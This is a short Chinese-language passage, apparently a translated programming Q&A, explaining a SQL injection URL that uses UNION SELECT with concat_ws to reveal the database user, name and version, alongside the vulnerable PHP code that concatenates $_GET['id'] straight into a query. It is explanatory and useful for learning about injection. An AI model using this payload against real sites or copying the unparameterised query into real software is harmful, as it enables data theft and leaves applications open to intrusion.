浏览网络中较为可疑的部分,我碰巧遇到了这个特殊的SQL注入:
http://server/path/page.php?id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6--
当我读到这篇文章时,我对SQL的了解 - 我认为它是一半体面的 - 似乎非常有限.
自从我为网络广泛开发以来,我很想知道这段代码实际上做了什么,更重要的是它是如何工作的.
它取代了不正确编写的参数化查询,如下所示:
$sql = '
SELECT *
FROM products
WHERE id = ' . $_GET['id'];
Run Code Online (Sandbox Code Playgroud)
使用此查询:
SELECT *
FROM products
WHERE id = 1
UNION ALL
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6
Run Code Online (Sandbox Code Playgroud)
,它为您提供有关所连接的数据库名称,版本和用户名的信息.